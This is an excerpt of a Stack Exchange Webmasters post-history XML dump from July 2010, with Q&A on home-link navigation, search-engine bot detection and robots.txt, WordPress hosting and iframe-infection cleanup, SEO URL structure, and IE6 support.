  <row Id="3015" PostHistoryTypeId="2" PostId="1650" RevisionGUID="660ff213-a75e-4b63-866d-b5eabb676cfa" CreationDate="2010-07-27T20:33:06.060" UserId="236" Text="It depends on how it looks on your website. Unless your navigation is already crowded, I don't see any harm in having a home link.&#xD;&#xA;&#xD;&#xA;Even if you do have a home link, I would still have the logo link to the home page as well." />
  <row Id="3016" PostHistoryTypeId="2" PostId="1651" RevisionGUID="1520594f-5959-4bd5-b0ca-c05e8a0f5cc6" CreationDate="2010-07-27T21:06:00.363" UserId="1072" Text="Another solution is to use a JavaScript library called [Sound Manager][1]. By default, it embeds an invisible Flash object in the page and uses it to play audio files (including MP3s). The newest version includes the ability to use HTML5's `audio` tag when available. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can then write your player in HTML/CSS/JS, and have Sound Manager figure out whether to use Flash or `audio` tag to play the audio file. This way your player will work in IE6 and also on the iPhone/iPad.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.schillmania.com/projects/soundmanager2/" />
  <row Id="3017" PostHistoryTypeId="2" PostId="1652" RevisionGUID="d93660ec-2c89-40dc-8e39-5df66b2d5b2f" CreationDate="2010-07-27T21:06:56.883" UserId="108" Text="I manage a website for a manufacturing and engineering firm.  We have both a text Home link and the company logo is a link to the home page.  Using Crazy Egg stats I can tell you we get more clicks on the text link to home than the Logo link to home.&#xD;&#xA;&#xD;&#xA;In general, it depends on your user base.  Are they computer savvy?  Will they figure it out on their own?  If they aren't then I would include a home link.  The main reasons to remove the home link is to decrease clutter and reduce links on your page.  I don't think many sites have an overwhelming reason to remove it.  It just seems like good form to do it when you can." />
  <row Id="3018" PostHistoryTypeId="2" PostId="1653" RevisionGUID="b8d7cfdb-8acb-4363-83b0-7be06549d84e" CreationDate="2010-07-27T21:51:19.517" UserId="527" Text="Another good place to use an explicit home link in user navigation is the first entry in a [breadcrumb trail][1]. Since this is often near the top of the page, the home link usually ends up just below the main logo.&#xD;&#xA;&#xD;&#xA;If your site layout is at all hierarchical, a breadcrumb trail really helps the user stay oriented. They can easily see where they are, and return to any of the higher levels. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Breadcrumb_(navigation)" />
  <row Id="3019" PostHistoryTypeId="2" PostId="1654" RevisionGUID="aa0d4ad1-3f23-420a-9129-a8cb4552e321" CreationDate="2010-07-27T22:32:40.890" UserId="1074" Text="statewideservica.com is going to automatically suffer from lack of &quot;aging&quot; unless it was purchased the same time as the others and has been in operation...even still, if there wasn't content there it's likely far down the list.  Just a small drawback to standardizing on a single one (from a marketing perspective).  Obviously, over time this would work itself out.&#xD;&#xA;&#xD;&#xA;I worked on a similar challenge, and our answer was a bit different than crazy redirects.  We maintained separate (albeit co-branded) sites with different URL's (think your existing structure) that we fed content via the same CMS (custom built, in house)  Instantly, we had the ability to publish similar content between sites, modify all content in one place, and reduced our overhead on staff logins and training.  The trick is making sure that you have a CMS that's powerful enough to tag content to different areas and knowledge of how to serve content to distinct sites....an off the shelf product like Joomla could be made to work, but probably wouldn't be the best answer here.&#xD;&#xA;&#xD;&#xA;In theory, duplicate content could result in a hit as mentioned above.  However, our traffic (and SEO) actually went up.  Perhaps it was because most content ended up being unique just by virtue of the people maintaining the copy. We did maintain the URL structure via Apache rewrites, so as far as the search engines knew, nothing besides the design had changed." />
  <row Id="3020" PostHistoryTypeId="2" PostId="1655" RevisionGUID="cce999b2-8c97-48c0-ac33-559107dd9514" CreationDate="2010-07-27T22:56:35.273" UserId="233" Text="You could take a leaf out of Facebook's... erm, book... and  does and make it so that when you hover over the logo a &quot;home&quot; icon comes up (assuming they still do that; I barely use Facebook anymore). It makes it clear that clicking the logo returns to the home page." />
  <row Id="3021" PostHistoryTypeId="2" PostId="1656" RevisionGUID="5c0b29d8-f911-4aab-a44c-1fafc6c9f15f" CreationDate="2010-07-27T23:03:33.627" UserId="3" Text="We had some serious issues with [Yahoo's (incredibly) badly written spider in the past][1], and as a result we blocked them. Marco Arment of Tumblr also shared his frustrations with us on 8/31/2009, which was a factor in us blocking them.&#xD;&#xA;&#xD;&#xA;&gt; [Yahoo's Spider has] been flooding us with 70-200 requests/second since about 5:30 AM EST. I've never seen anything like this, even from their rogue &quot;experimental&quot; crawlers that have abused us in the past. Robots.txt ban isn't enough: I'm having to block them by IP at the load-balancer level. Since they've abused Stack Overflow in the past, I figured you might want to know.&#xD;&#xA;&#xD;&#xA;It looks like Yahoo's web search is &quot;Powered by Bing!&quot; now. This is good, because we've never had a problem with Bing's spider (aka MSNBOT).&#xD;&#xA;&#xD;&#xA;So, is Yahoo's search the same as Bing search now, or should we be looking at potentially unblocking them if they've somehow, against all odds, stopped sucking so hard?&#xD;&#xA;&#xD;&#xA;[1]: http://blog.stackoverflow.com/2009/06/the-perfect-web-spider-storm/" />
  <row Id="3022" PostHistoryTypeId="1" PostId="1656" RevisionGUID="5c0b29d8-f911-4aab-a44c-1fafc6c9f15f" CreationDate="2010-07-27T23:03:33.627" UserId="3" Text="Is Yahoo Search the same as Bing Search now?" />
  <row Id="3023" PostHistoryTypeId="3" PostId="1656" RevisionGUID="5c0b29d8-f911-4aab-a44c-1fafc6c9f15f" CreationDate="2010-07-27T23:03:33.627" UserId="3" Text="&lt;user-agent&gt;&lt;bing&gt;&lt;yahoo&gt;" />
  <row Id="3024" PostHistoryTypeId="2" PostId="1657" RevisionGUID="f2678f29-3408-4ecf-a281-8e6756d6182a" CreationDate="2010-07-27T23:05:26.430" UserId="10" Text="[It appears](http://www.ysearchblog.com/2010/07/20/yahoo-begins-testing-with-microsoft/) that they've just started rolling out Bing search results on Yahoo! for about 25% of the searches, with the goal of completely switching over in August/September. I would bet that the Yahoo spider isn't even running any more and if it is, it's not very relevant." />
  <row Id="3025" PostHistoryTypeId="6" PostId="1656" RevisionGUID="e29e606d-a4ed-48ed-8ca8-d6ff5c190155" CreationDate="2010-07-27T23:07:20.623" UserId="3" Comment="edited tags" Text="&lt;user-agent&gt;&lt;bing&gt;&lt;yahoo&gt;&lt;spider&gt;" />
  <row Id="3026" PostHistoryTypeId="2" PostId="1658" RevisionGUID="e9f87ba4-1077-45b4-aa57-451fe46143c8" CreationDate="2010-07-27T23:44:05.120" UserId="210" Text="I don't know how many times (many) I've been asked &quot;How do I get back to the home page?&quot; when I've skipped the home link in the main navigation.&#xD;&#xA;&#xD;&#xA;I've started doing 1 of 2 things recently:&#xD;&#xA;&#xD;&#xA;1. Move the home link to the last or second last item on the main menu. I've wondered if this is a good idea because personally I often look for &quot;Contact Us&quot; in that position, but it seems to help users. But sometimes I will put it second last so at least it's there, but I could see this getting lost in the middle then. &#xD;&#xA;&#xD;&#xA;2. Add a home image (small house shaped icon) somewhere in the upper portion of the page, usually on the right. The removes the need for an extra menu item.&#xD;&#xA;&#xD;&#xA;I haven't had any complaints after doing either of these (that they can't get back to the home page).&#xD;&#xA;&#xD;&#xA;I also think the general reason why people want to go back to the home page is because they get lost on a website, so I think reducing the cause is a better solution that encouraging people to &quot;start over&quot; to figure things out. This is unless your home page is like Facebook or SO where it contains the most recent information.&#xD;&#xA;&#xD;&#xA;I do also like [DisgruntledGoat][1]'s idea of doing something similar to Facebook's logo/home link with a roll over to show that it's the home page link.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1649/considerations-for-adding-an-explicit-home-link-to-navigation/1655#1655" />
  <row Id="3027" PostHistoryTypeId="2" PostId="1659" RevisionGUID="0a1267e0-a2a6-46c0-89f0-6d0710ce3560" CreationDate="2010-07-28T00:05:11.287" UserId="18" Text="[![Introducing HTML5][1]][2] and [HTML5 For Web Designers][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ecx.images-amazon.com/images/I/41z0FVu9ZhL._SL500_AA300_.jpg&#xD;&#xA;  [2]: http://www.amazon.com/Introducing-HTML5-Voices-That-Matter/dp/0321687299/ref=sr_1_2?ie=UTF8&amp;s=books&amp;qid=1280275056&amp;sr=8-2&#xD;&#xA;[3]:http://books.alistapart.com/" />
  <row Id="3028" PostHistoryTypeId="5" PostId="1398" RevisionGUID="18e54ccc-cc84-4fd9-ab07-7f4b99290257" CreationDate="2010-07-28T01:04:04.770" UserId="18" Comment="typo" Text="I've been using **[IMified][1]** for a little while to do stuff similar to that and I've found it to work well. It allows you to receive SMS (or Twitter and IM messages) as HTTP POSTs and your web server's response is sent as a reply. They also offer a web service that can be used to [initiate conversation and send messages][2].&#xD;&#xA;&#xD;&#xA;While I was looking for other options I came across **[Zeep Mobile][3]** which has an API for sending and receiving SMS. It is either free and ad supported or available for a montly fee. I have not tried it, but it looks quite interesting.&#xD;&#xA;&#xD;&#xA;Those two options are both free, but do not provide for contacting users outside of the United States. If you need to do that I'd recommend an SMS Gateway like **[ClickATell][4]**.&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;&#xD;&#xA;EDIT: [I found a question on StackOverflow that has lots more suggestions, some may be outdated.][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imified.com&#xD;&#xA;  [2]: http://www.imified.com/developers/api#sendmessage&#xD;&#xA;  [3]: http://www.zeepmobile.com/&#xD;&#xA;  [4]: http://www.clickatell.com/&#xD;&#xA;  [5]: http://stackoverflow.com/questions/432944/sms-from-web-application" />
  <row Id="3029" PostHistoryTypeId="16" PostId="184" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3030" PostHistoryTypeId="16" PostId="189" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3031" PostHistoryTypeId="16" PostId="832" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3032" PostHistoryTypeId="16" PostId="839" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3033" PostHistoryTypeId="16" PostId="907" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3034" PostHistoryTypeId="16" PostId="908" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3035" PostHistoryTypeId="16" PostId="919" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3036" PostHistoryTypeId="16" PostId="922" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3037" PostHistoryTypeId="16" PostId="932" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3038" PostHistoryTypeId="16" PostId="936" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3039" PostHistoryTypeId="16" PostId="938" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3040" PostHistoryTypeId="16" PostId="1634" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3041" PostHistoryTypeId="16" PostId="1635" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T03:45:37.903" UserId="9" />
  <row Id="3044" PostHistoryTypeId="2" PostId="1661" RevisionGUID="8ea0fcfd-1f65-49dd-bdfd-7111b673fd0e" CreationDate="2010-07-28T04:35:47.290" UserId="1081" Text="I want to host a Wordpress CMS based website. Any recommendations for a easy and reliable hosting provider. I have heard about lots of issues when hosting wordpress with godaddy. This is based on Wordpress version 3.0.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="3045" PostHistoryTypeId="1" PostId="1661" RevisionGUID="8ea0fcfd-1f65-49dd-bdfd-7111b673fd0e" CreationDate="2010-07-28T04:35:47.290" UserId="1081" Text="Any recommendation for hosting provider for hosting Wordpress CMS website (not just a blog)?" />
  <row Id="3046" PostHistoryTypeId="3" PostId="1661" RevisionGUID="8ea0fcfd-1f65-49dd-bdfd-7111b673fd0e" CreationDate="2010-07-28T04:35:47.290" UserId="1081" Text="&lt;web-hosting&gt;&lt;wordpress&gt;" />
  <row Id="3047" PostHistoryTypeId="2" PostId="1662" RevisionGUID="03c45f84-d7e5-444c-ae47-a4e7843eae6f" CreationDate="2010-07-28T04:56:54.907" UserId="1081" Text="What is the best way to detect bot generated activity (clicks/page visits) etc on a asp.net website? We have a website where we track leads generated to external websites, we track the IP of the user that generates the lead however we are seeing a lot of leads generated by Google and other search bots. What is the best way to filter this activity. I have heard of testing user agent strings and filtering based on know IP addresses, both available as data dumps from various sources, I am not sure which is the best one to use. &#xD;&#xA;&#xD;&#xA;Thank you. " />
  <row Id="3048" PostHistoryTypeId="1" PostId="1662" RevisionGUID="03c45f84-d7e5-444c-ae47-a4e7843eae6f" CreationDate="2010-07-28T04:56:54.907" UserId="1081" Text="How to detect search engine bots reliably within asp.net website?" />
  <row Id="3049" PostHistoryTypeId="3" PostId="1662" RevisionGUID="03c45f84-d7e5-444c-ae47-a4e7843eae6f" CreationDate="2010-07-28T04:56:54.907" UserId="1081" Text="&lt;traffic&gt;&lt;robots&gt;" />
  <row Id="3050" PostHistoryTypeId="2" PostId="1663" RevisionGUID="ddac852c-ca20-4386-8fd0-b4f8fb94b13e" CreationDate="2010-07-28T05:06:50.927" UserDisplayName="delete" Text="Sorry but I have no idea about asp.net websites, but any reputable search engine will be sending you a user agent string which tells you it's a bot, and that should be available in your log file. Another giveaway is that they look for /robots.txt.&#xD;&#xA;&#xD;&#xA;My checker looks like this (Perl):&#xD;&#xA;&#xD;&#xA;    sub is_bot&#xD;&#xA;    {&#xD;&#xA;        my ($user_agent) = @_;&#xD;&#xA;        if ($user_agent =~&#xD;&#xA;    	/msnbot&#xD;&#xA;            |www\.cuil\.com&#xD;&#xA;    	|Yahoo!\s+Slurp&#xD;&#xA;    	|Googlebot&#xD;&#xA;    	|Speedy\sSpider&#xD;&#xA;    	|MLBot&#xD;&#xA;    	|princeton crawler&#xD;&#xA;    	|accelobot&#xD;&#xA;    	|crawler\@dotnetdotcom&#xD;&#xA;    	|help\.naver\.com&#xD;&#xA;    	|GingerCrawler&#xD;&#xA;    	|Sosospider&#xD;&#xA;    	|www.exabot.com&#xD;&#xA;    	|Baiduspider&#xD;&#xA;    	|Ask\sJeeves&#xD;&#xA;    	|Java\/&#xD;&#xA;    	|telehouse\.ru&#xD;&#xA;    	|Tagoobot&#xD;&#xA;    	|Baypup&#xD;&#xA;    	|SimilarPages&#xD;&#xA;    	|Spinn3r&#xD;&#xA;    	|VoilaBot&#xD;&#xA;    	|Yandex&#xD;&#xA;    	|Xenu\sLink\sSleuth&#xD;&#xA;    	|www\.searchme\.com&#xD;&#xA;    	|MJ12bot&#xD;&#xA;    	|kilomonkey\.com&#xD;&#xA;    	|Mediapartners-Google&#xD;&#xA;    	|Sogou\sweb\sspider&#xD;&#xA;    	|YoudaoBot&#xD;&#xA;    	|seexie\.com&#xD;&#xA;    	|Yahoo.*Slurp&#xD;&#xA;    	|YahooCacheSystem&#xD;&#xA;    	|crawler\@nutch\.biz&#xD;&#xA;    	|psbot&#xD;&#xA;    	|ia_archiver-web\.archive\.org&#xD;&#xA;    	|sbider&#xD;&#xA;    	|xrss\.eu&#xD;&#xA;    	|scoutjet&#xD;&#xA;            |www\.puritysearch\.net&#xD;&#xA;            |Bing&#xD;&#xA;            |BaiduImagespider&#xD;&#xA;            |baidu\.jp&#xD;&#xA;            |facebookexternalhit&#xD;&#xA;            |ssllabs\.com&#xD;&#xA;            |Python-urllib&#xD;&#xA;            |drupal\.org&#xD;&#xA;            |HTTrack&#xD;&#xA;            |Willow\s+Internet\s+Crawler\s+by\s+Twotrees&#xD;&#xA;    	/x) {&#xD;&#xA;    	return 1;&#xD;&#xA;        }&#xD;&#xA;        return;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you look in the source code of awstats you'll find something better than the above." />
  <row Id="3051" PostHistoryTypeId="5" PostId="1643" RevisionGUID="4346e2ec-897b-4319-a772-fe6628721f7d" CreationDate="2010-07-28T05:21:08.690" UserId="500" Comment="added note about document root changing daily" Text="Is there a way to specify the location of generated sitemap files using the lastest version of the [Google Sitemap Generator][1]?&#xD;&#xA;&#xD;&#xA;*Version is: 1.0.0.0? (a very un-google version number, lol):*&#xD;&#xA;&#xD;&#xA;    &gt; sudo /usr/local/google-sitemap-generator/bin/sitemap-daemon -v&#xD;&#xA;    Google Sitemap Generator (Beta) Version [1.0.0.0]&#xD;&#xA;&#xD;&#xA;The dashboard has a option of &quot;*Sitemap file name*&quot; but there is no option to specify the destination directory? It always places the generated sitemap XML files in the document root (which is **no good** for our deployment method where the document root is a [symlink][2] to the current deployment directory which changes daily).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/googlesitemapgenerator/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Symbolic_link" />
  <row Id="3052" PostHistoryTypeId="6" PostId="1643" RevisionGUID="4346e2ec-897b-4319-a772-fe6628721f7d" CreationDate="2010-07-28T05:21:08.690" UserId="500" Comment="added note about document root changing daily" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;&lt;lamp&gt;" />
  <row Id="3053" PostHistoryTypeId="5" PostId="1643" RevisionGUID="88693185-f7c7-4ba8-97e0-5b38515ce296" CreationDate="2010-07-28T05:32:26.657" UserId="500" Comment="Added note about nginx alias" Text="Is there a way to specify the location of generated sitemap files using the lastest version of the [Google Sitemap Generator][1]?&#xD;&#xA;&#xD;&#xA;*Version is: 1.0.0.0? (a very un-google version number, lol):*&#xD;&#xA;&#xD;&#xA;    &gt; sudo /usr/local/google-sitemap-generator/bin/sitemap-daemon -v&#xD;&#xA;    Google Sitemap Generator (Beta) Version [1.0.0.0]&#xD;&#xA;&#xD;&#xA;The dashboard has a option of &quot;*Sitemap file name*&quot; but there is no option to specify the destination directory? It always places the generated sitemap XML files in the **document root**. I assume it *discovers* the document root from reading the webserver logs.&#xD;&#xA;&#xD;&#xA;&gt; *Why do I want to put the sitemap files in another directory?*&#xD;&#xA;&#xD;&#xA;The document root is **no good** for our deployment method because it is a [symlink][2] to the current deployment directory which changes daily. In order for the sitemaps to appear as if they are at the url root (i.e. `http://www.example.com/sitemap.xml`), we use a alias rule to map XML files to where we actually keep them, e.g. using [nginx][3]:&#xD;&#xA;&#xD;&#xA;    # Alias all XML files (e.g. Rss) to shared directory&#xD;&#xA;    location ~* /(.*\.xml)$ {&#xD;&#xA;        alias /var/www/live/shared/xml/$1;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/googlesitemapgenerator/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Symbolic_link&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Nginx" />
  <row Id="3054" PostHistoryTypeId="2" PostId="1664" RevisionGUID="40d431a6-72e8-4378-9d21-596795ae32aa" CreationDate="2010-07-28T06:52:53.223" UserId="1082" Text="I have a few wordpress sites, some as blogs and some as CMS and have not seen a difference in their hosting needs.&#xD;&#xA;&#xD;&#xA;If it is good for a blog it is good for a CMS. The only thing that is important is the usage of the site. You need a package with enough space and bandwidth." />
  <row Id="3055" PostHistoryTypeId="2" PostId="1665" RevisionGUID="cb7bb0e2-8f93-4cfd-9e3f-4e0017c607de" CreationDate="2010-07-28T06:56:49.940" UserId="1082" Text="Like @Kinopiko said, Bots, esepcialy the top ones like google, or bing leave a clear UserAgent.&#xD;&#xA;&#xD;&#xA;I don't know what your code looks like so I can't tell you what to do but to find the UserAgent in Asp.Net you look at Request.UserAgent in any WebForm, CodeBehind, or MVC Controller." />
  <row Id="3056" PostHistoryTypeId="2" PostId="1666" RevisionGUID="f26029ed-5541-4285-bf74-b6a20701e0ba" CreationDate="2010-07-28T07:05:04.133" UserId="1083" Text="I would like to somehow be able to block all search engines except Google, Yahoo &amp; Bing (and their related sites like Google Images) from crawling my site as they consume a lot of server and bandwidth but don't bring any traffic. &#xD;&#xA;&#xD;&#xA;Is this easily done or difficult? It would be good if someone maintained a list of small search engines that could be pasted into a robots.txt file to block them.&#xD;&#xA;&#xD;&#xA;Also, I realize I cannot block crawlers that ignore the robots.txt or sites from surreptitiously scraping and crawling, but that is not what I want. I just want to block all the Altavistas, Hotbots, Lycos (do these even still exist) and the university experiment crawlers from wasting my time." />
  <row Id="3057" PostHistoryTypeId="1" PostId="1666" RevisionGUID="f26029ed-5541-4285-bf74-b6a20701e0ba" CreationDate="2010-07-28T07:05:04.133" UserId="1083" Text="Blocking all search engines except the big ones" />
  <row Id="3058" PostHistoryTypeId="3" PostId="1666" RevisionGUID="f26029ed-5541-4285-bf74-b6a20701e0ba" CreationDate="2010-07-28T07:05:04.133" UserId="1083" Text="&lt;site-crawler&gt;" />
  <row Id="3059" PostHistoryTypeId="2" PostId="1667" RevisionGUID="1c2fd2d5-7dae-4265-b426-c3ea3e3ac031" CreationDate="2010-07-28T07:28:57.507" UserDisplayName="delete" Text="What have you tried so far?&#xD;&#xA;&#xD;&#xA;Using the [webmaster tools robots.txt generator][1] I made this:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;    &#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Allow: /&#xD;&#xA;&#xD;&#xA;But I haven't tested it.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237" />
  <row Id="3060" PostHistoryTypeId="5" PostId="1661" RevisionGUID="fc927edd-9ff5-4aca-9794-9ab169a41b26" CreationDate="2010-07-28T08:24:49.370" UserId="55" Comment="added 8 characters in body" Text="I want to host a Wordpress CMS based website. Any recommendations for a easy and reliable hosting provider. I have heard about lots of issues when hosting wordpress with my current host. This is based on Wordpress version 3.0.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="3065" PostHistoryTypeId="2" PostId="1670" RevisionGUID="8cda8c79-1d8d-499a-a4ae-0a8ecb984531" CreationDate="2010-07-28T11:22:56.253" UserId="1034" Text="How big of an issue is it really? &#xD;&#xA;&#xD;&#xA;The bots you should be concerned about are the bots that don't follow the rules and who pretend to be regular visitors. &#xD;&#xA;&#xD;&#xA;Search Engine traffic is legit and as Dan pointed out Google also started as a small university project. It isn't really fair to discriminate against the small guys, and possibly not smart in the long run.&#xD;&#xA;&#xD;&#xA;Kinopiko's answer will work, and Google's webmaster tools will let you create and test your robot.txt (Site configuration, Crawler Access), but I think that if traffic from genuine search engines is a problem for you, it may be that your current hosting solution is not a good deal. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="3066" PostHistoryTypeId="2" PostId="1671" RevisionGUID="31ad367f-b25d-474b-a02a-829618f936d6" CreationDate="2010-07-28T11:38:18.723" UserId="1082" Text="For the ones that don't follow the rules you can try to find them in your logs and then block them by IP. &#xD;&#xA;&#xD;&#xA;Generally you can spot a bot by the fact that it reads the pages too fast to be human." />
  <row Id="3067" PostHistoryTypeId="2" PostId="1672" RevisionGUID="77ca0e86-cf9b-41bb-960d-59e8ba51e479" CreationDate="2010-07-28T11:46:06.230" UserId="1089" Text="Posting using IE6 whilst at work (on my lunch!)&#xD;&#xA;&#xD;&#xA;I work in central UK government, we are stuck on ie6 for the forseeable future, the reason being our payroll system causes ie7 and ie8 to crash.&#xD;&#xA;&#xD;&#xA;My only other advice is, if you choose to support ie6, remember to test in it as you are building." />
  <row Id="3068" PostHistoryTypeId="2" PostId="1673" RevisionGUID="3ca43bf3-0d79-43e1-af89-3ac2584550dc" CreationDate="2010-07-28T12:06:54.457" UserId="1036" Text="Suddenly, I see some of my blog files(wordpress) contains some `&lt;iframe&gt;` tags with links to some websites. How does it happen? What do I have to do to remove this virus and clean my website?&#xD;&#xA;&#xD;&#xA;I opened few files using a text editor and removed the `&lt;iframe&gt;` code. Also, changed all my FTP password. How can I ensure that my site is clean now? What are all the preventions I can take to avoid this in futre?" />
  <row Id="3069" PostHistoryTypeId="1" PostId="1673" RevisionGUID="3ca43bf3-0d79-43e1-af89-3ac2584550dc" CreationDate="2010-07-28T12:06:54.457" UserId="1036" Text="How to prevent iframe virus? What are all the measures once affected by it?" />
  <row Id="3070" PostHistoryTypeId="3" PostId="1673" RevisionGUID="3ca43bf3-0d79-43e1-af89-3ac2584550dc" CreationDate="2010-07-28T12:06:54.457" UserId="1036" Text="&lt;wordpress&gt;&lt;security&gt;" />
  <row Id="3071" PostHistoryTypeId="4" PostId="1673" RevisionGUID="416da828-a5e9-45df-9744-01c4791fa32f" CreationDate="2010-07-28T12:13:59.510" UserId="1036" Comment="edited title" Text="How to prevent iframe virus? What are all the measures can be taken once affected by it?" />
  <row Id="3072" PostHistoryTypeId="6" PostId="1673" RevisionGUID="78248848-9cf9-4084-ada0-94df06adfe00" CreationDate="2010-07-28T12:15:42.800" UserId="72" Comment="edited tags" Text="&lt;wordpress&gt;&lt;security&gt;&lt;iframe&gt;" />
  <row Id="3073" PostHistoryTypeId="2" PostId="1674" RevisionGUID="38121ce9-7c60-461b-a5b8-9d39977c5d3a" CreationDate="2010-07-28T12:30:24.003" UserId="26" Text="Cleaning a WordPress install, or any site, of such files is generally straightforward. If there's a pattern, do a search of the relevant files and then replace the bad code.&#xD;&#xA;&#xD;&#xA;In the case of WordPress, there are a few different sources of bad code (probably others):&#xD;&#xA;&#xD;&#xA;1. An already infected theme was installed&#xD;&#xA;2. Your site's FTP password was guessed and hacked&#xD;&#xA;3. WordPress is insecure and allowed a worm to be installed&#xD;&#xA;&#xD;&#xA;One thing you can do is install [TAC (Theme Authenticity Checker)][1], which will scan for the bad stuff.&#xD;&#xA;&#xD;&#xA;See [**Hardening WordPress**][2] for steps to take to make WordPress more secure. But basically when I've seen this happen what I do is back everything up (database and all files), then blow that install away and install a fresh WordPress install, fresh replacement plugins, and a fresh theme (if your theme was custom, get rid of the bad code first!).&#xD;&#xA;&#xD;&#xA;Googling for &quot;wordpress infection&quot; should get you other articles with similar advice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/tac/&#xD;&#xA;  [2]: http://codex.wordpress.org/Hardening_WordPress" />
  <row Id="3074" PostHistoryTypeId="2" PostId="1675" RevisionGUID="401689dd-1274-44d6-86d2-cbc6d49845fd" CreationDate="2010-07-28T12:39:26.543" UserId="909" Text="What product url is better from SEO perspective for an ehop&#xD;&#xA;&#xD;&#xA;    www.site.com/main-category/sub-category/sub-category2/product-name.html&#xD;&#xA;    www.site.com/products/product-name.html&#xD;&#xA;    www.site.com/product-name.html&#xD;&#xA;&#xD;&#xA;Some people state that the last one since you make that page more important to the root of the domain. I would think its more logic to have them like the 1st&#xD;&#xA;&#xD;&#xA;What do you guys think ?&#xD;&#xA;Does this really matter for SEO ?" />
  <row Id="3075" PostHistoryTypeId="1" PostId="1675" RevisionGUID="401689dd-1274-44d6-86d2-cbc6d49845fd" CreationDate="2010-07-28T12:39:26.543" UserId="909" Text="eshop product urls SEO, with or without category folder" />
  <row Id="3076" PostHistoryTypeId="3" PostId="1675" RevisionGUID="401689dd-1274-44d6-86d2-cbc6d49845fd" CreationDate="2010-07-28T12:39:26.543" UserId="909" Text="&lt;seo&gt;&lt;best-practice&gt;&lt;url-format&gt;" />
  <row Id="3077" PostHistoryTypeId="2" PostId="1676" RevisionGUID="3dd5b166-4db4-4e56-a866-0a64677793d5" CreationDate="2010-07-28T13:04:33.280" UserId="55" Text="The first question you should ask is, which style is easier for users that want to share your links? Always consider human visitors first.&#xD;&#xA;&#xD;&#xA;For SEO, I'd recommend keeping the link as short as possible and introduce the name of the page as close to the 'far left' as you can. Lets take our favorite product, Acme Widgets!&#xD;&#xA;&#xD;&#xA;    www.site.com/acme-widgets.html&#xD;&#xA;    www.site.com/products/acme/widgets/acme-widgets/widget101.html&#xD;&#xA;    www.site.com/acme-widget101.html&#xD;&#xA;&#xD;&#xA;The third link coincides much better with natural language that people use to search. In this case, someone looking for an Acme model 101 might search for:&#xD;&#xA;&#xD;&#xA;    acme 101 | acme widget 101 | acme model 101&#xD;&#xA;&#xD;&#xA;In the third link, you've addressed two search cases. If the page was titled:&#xD;&#xA;&#xD;&#xA;    Acme's Famous Model 101 Widget &#xD;&#xA;&#xD;&#xA;You would probably do quite well.&#xD;&#xA;&#xD;&#xA;This has two benefits, the first of course making a nice, short simple link devoid of SEO gobly gook and secondly keeps you off Google's link/URL spam radar.&#xD;&#xA;&#xD;&#xA;Please, think of the humans :) If you do, search engines will find you. " />
  <row Id="3078" PostHistoryTypeId="2" PostId="1677" RevisionGUID="9802c4cd-d5b1-4e09-9ba9-8833e9341661" CreationDate="2010-07-28T13:36:39.277" UserId="1082" Text="When building an app for a customer you have to support what they need but when I build a public web site for home users I figure if they want to be backwards they don't have to see the site correctly.&#xD;&#xA;&#xD;&#xA;If google, Microsoft, Facebook etc... all stopped supporting IE6 then why should I have to support it.&#xD;&#xA;&#xD;&#xA;On a more technical note. If you use clean html and css without any fancy positioning and lots of JS effects your site will look fine in IE6 anyway." />
